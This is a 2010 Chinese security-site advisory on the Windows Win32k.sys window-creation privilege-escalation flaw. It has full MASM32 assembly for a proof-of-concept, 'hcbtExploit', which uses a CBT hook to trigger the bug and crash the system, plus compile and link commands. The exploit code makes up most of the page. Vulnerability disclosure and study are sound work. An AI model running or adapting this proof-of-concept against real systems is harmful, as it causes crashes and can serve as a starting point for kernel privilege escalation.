首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Windows Win32k.sys 窗口创建漏洞
来源:vfocus.net 作者:vfocus 发布时间:2010-08-11  
  • 漏洞描述: 由于 Windows 内核模式驱动程序在创建窗口时未正确验证所有参数,因此存在一个特权提升漏洞。 成功利用此漏洞的攻击者可以运行内核模式中的任意代码。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。
  • 应用程序通过hook 函数CBTProc并判断当nCode值为HCBT_CREATEWND时,hook函数就可以使hWndInsertAfter成为其它窗口的hwnd 。当用户按下WindowsKey+D最小化所有窗口时即可触发这个函数。

    测试环境:

    操作系统:WIN XP SP2

    测试过程:

    1、运行测试程序

    2、按下WindowsKey+D

    3、系统蓝屏

    程序代码:

     

    1. .386
    2. .model flat,stdcall
    3. option casemap:none
    4. include windows.inc
    5. include user32.inc
    6. include kernel32.inc
    7. includelib user32.lib
    8. includelib kernel32.lib
    9. .const
    10. .data
    11. _wnd db "hcbtExploit",0
    12. .data?
    13. hhook dd ?
    14. .code
    15. WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
    16. .if uMsg==WM_DESTROY
    17. invoke PostQuitMessage,0
    18. xor eax,eax
    19. .else
    20. invoke DefWindowProc,hWnd,uMsg,wParam,lParam
    21. .endif
    22. ret
    23. WndProc endp
    24. HookProc proc uses ebx nCode:UINT,wParam:WPARAM,lParam:LPARAM
    25. local buf[MAX_PATH]:BYTE
    26. .if nCode==HCBT_CREATEWND
    27. invoke GetClassName,wParam,addr buf,MAX_PATH
    28. invoke lstrcmpi,addr buf,offset _wnd
    29. .if eax==0
    30. mov ebx,lParam
    31. assume ebx:PTR CBT_CREATEWND
    32. invoke GetDesktopWindow
    33. invoke GetWindow,eax,GW_CHILD
    34. invoke GetWindow,eax,GW_HWNDLAST ; (Progman)
    35. invoke GetWindow,eax,GW_CHILD ; (SHELLDLL_DefView)
    36. mov [ebx].hWndInsertAfter,eax
    37. assume ebx:nothing
    38. .endif
    39. xor eax,eax
    40. .else
    41. invoke CallNextHookEx,hhook,nCode,wParam,lParam
    42. .endif
    43. ret
    44. HookProc endp
    45. WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    46. local wc:WNDCLASSEX
    47. local msg:MSG
    48. local hwnd:HWND
    49. mov wc.cbSize,sizeof wc
    50. mov wc.style,CS_VREDRAW
    51. mov wc.lpfnWndProc,offset WndProc
    52. mov wc.cbClsExtra,0
    53. mov wc.cbWndExtra,0
    54. mov eax,hInst
    55. mov wc.hInstance,eax
    56. mov wc.hbrBackground,COLOR_WINDOW
    57. mov wc.lpszMenuName,0
    58. mov wc.lpszClassName,offset _wnd
    59. invoke LoadIcon,0,IDI_WARNING
    60. mov wc.hIcon,eax
    61. mov wc.hIconSm,eax
    62. invoke LoadCursor,0,IDC_CROSS
    63. mov wc.hCursor,eax
    64. invoke RegisterClassEx,addr wc
    65. invoke GetCurrentThreadId
    66. invoke SetWindowsHookEx,WH_CBT,offset HookProc,0,eax
    67. mov hhook,eax
    68. invoke CreateWindowEx,\
    69. 0,\
    70. offset _wnd,offset _wnd,\
    71. WS_OVERLAPPEDWINDOW,\
    72. 400,250,600,400,0,0,hInst,0
    73. mov hwnd,eax
    74. invoke UnhookWindowsHookEx,hhook
    75. invoke ShowWindow,hwnd,CmdShow
    76. invoke UpdateWindow,hwnd
    77. .while TRUE
    78. invoke GetMessage,addr msg,0,0,0
    79. .break .if (!eax)
    80. invoke TranslateMessage,addr msg
    81. invoke DispatchMessage,addr msg
    82. .endw
    83. mov eax,msg.wParam
    84. ret
    85. WinMain endp
    86. start:
    87. invoke GetModuleHandle,0
    88. invoke WinMain,eax,0,0,SW_SHOWNORMAL
    89. invoke ExitProcess,eax
    90. end start

    编译说明:

    测试代码用Win32汇编编写,使用MASM32编译即可,Win32汇编环境搭建我之前已有介绍,将环境搭建好后进入到程序目录下,使用ml /c /coff hcbtExploit.asm命令编译,然后进行连接link /subsystem:windows hcbtExploit.obj,即可生成测试程序hcbtExploit.exe!


  •  
    [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
    匿名评论
    评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
     §最新评论:
      热点文章
    ·XSOK环境变量本地命令执行漏洞
    ·N点虚拟主机管理系统 致命漏洞。
    ·南方数据企业网站管理系统V10.0
    ·动网(DVBBS)Version 8.2.0 后
    ·Solaris 10 telnet漏洞及解决
    ·破解无线路由器密码,常见无线密
    ·Nginx %00空字节执行php漏洞
    ·WinWebMail、7I24提权漏洞
    ·XPCD xpcd-svga本地缓冲区溢出漏
    ·Struts2多个漏洞简要分析
    ·ecshop2.72 api.php 文件鸡肋注
    ·Discuz!后台拿Webshell 0day
      相关文章
    ·最新 phpcms 0day(图)
    ·Struts2和Webwork远程命令执行漏
    ·中嘉华诚内核加固免疫系统单机版
    ·FreeBSD Kernel nfs_mount漏洞分
    ·dedecms v5.3-v5.6 Get Shell 0d
    ·dedecms5.3--5.6通杀执行漏洞
    ·Dedecms <= V5.6 Final模板执行
    ·FreeBSD Kernel mountnfs() 漏洞
    ·MyPHP Forum SQL注入漏洞
    ·114啦网址导航建站系统跨站漏洞
    ·Microsoft IE 8 toStaticHTML()
    ·请下载新版工行个人网银
      推荐广告
    CopyRight © 2002-2022 VFocuS.Net All Rights Reserved